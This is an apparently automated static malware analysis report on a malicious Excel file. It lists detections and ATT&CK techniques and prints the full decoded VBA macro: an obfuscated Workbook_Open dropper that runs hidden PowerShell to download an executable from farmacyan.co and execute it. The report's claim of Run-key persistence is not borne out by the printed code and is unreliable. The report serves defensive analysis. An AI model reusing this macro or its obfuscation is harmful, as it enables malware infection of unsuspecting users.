Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24f73b9edf5a5719…

MALICIOUS

Office (OLE)

49.0 KB Created: 2017-10-19 07:59:05 Authoring application: Microsoft Excel First seen: 2018-10-07
MD5: 0934cbe4dc45f7de364df9b0c3b86487 SHA-1: b654b2a0a5d624b078c7821be750b5018afe3050 SHA-256: 24f73b9edf5a5719b5f272d3d0011bd3bc49ad13bb59d9bcbf3860afb2bd8c3b
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The critical OLE_VBA_SHELL heuristic indicates the use of the Shell() function, and the Workbook_Open macro is present. The VBA script constructs a PowerShell command to download a file from 'http://farmacyan.co/hpz' to the user's Desktop and execute it. The script also attempts to establish persistence by writing to the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'.

Heuristics 5

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://farmacyan.co/hpz\ In document text (OLE body)
    • http://farmacyan.co/hpzIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2000 bytes
SHA-256: dc9d4c0eea67c165934934fed94117f61841b10c812c5e2405df4e0a50b42fcd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True




Sub Workbook_Open()
If msoFontAlignCenter > 0.5 Then
Dim depmi As String
Randomize
depmi = Int(Rnd * 9999999#)
aavver = "$7d0mK6 = [TyPE](\""{1}{0}{3}{2}\"" -f 'on','ENVIr','Nt','mE') ;  "
buuukoliit = "do{&(\""{1}{0}\"" -f'ep','sle') 33;${D`es} =  $7d0mk6::gETfoLDERpATh(\""Desktop\"");(&(\""{0}{1}{2}\"" -f'Ne','w-','Object') "
ferxes = depmi
ctrayss = "(\""{0}{2}{1}{3}{5}{6}{4}\""-f'Sy','te','s','m.Ne','ent','t.Web','Cli')).dowNLoaDFilE.iNVoKE(\""http://farmacyan.co/hpz\"",\""$Des\" + ferxes + ".exe\"")}"
drummert = "while(!${?});&(\""{0}{2}{3}{1}\""-f 'St','ocess','art','-Pr') $Des\" + ferxes + ".exe"""
dodo = aavver + buuukoliit + ctrayss + drummert
Shell flibuollitle + dodo, msoNotThemeColor
End If
End Sub

Function flibuollitle()
If xlColor1 > 0 Then
narkalooko = Array("as" + "s    """, Minute(Now), Minute(Now), "d  " + " /c""")
deesdeep = Array(Now(), "opRoFi -W", Now())

nonecooper = Array(Now(), "ErShe")
gaagaladies = Array(Now(), "NOnInt", Now(), Now())
teslamodelx = Array(Second(Now), Now(), Now(), Now(), "deN -N")
theocratiasd = Array(Now(), Minute(Now), Now(), Now(), "eCUTI", Minute(Now), Now(), Now())
flibuollitle = "cm" + narkalooko(3) + "pOW" + nonecooper(1) + "Ll -n" + deesdeep(1) + "In  hiD" + teslamodelx(4) + "OLo -" + gaagaladies(1) + "eRA  -eX" + theocratiasd(4) + "oNp bYp" + narkalooko(0)
End If
End Function





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True